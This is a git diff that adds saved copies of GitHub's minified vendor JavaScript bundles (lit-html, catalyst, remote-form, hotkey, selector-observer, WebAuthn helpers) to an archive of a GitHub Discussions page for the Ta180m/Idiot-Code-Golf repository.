0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Place your Ideas here · Discussion #5 · Ta180m/Idiot-Code-Golf + + + 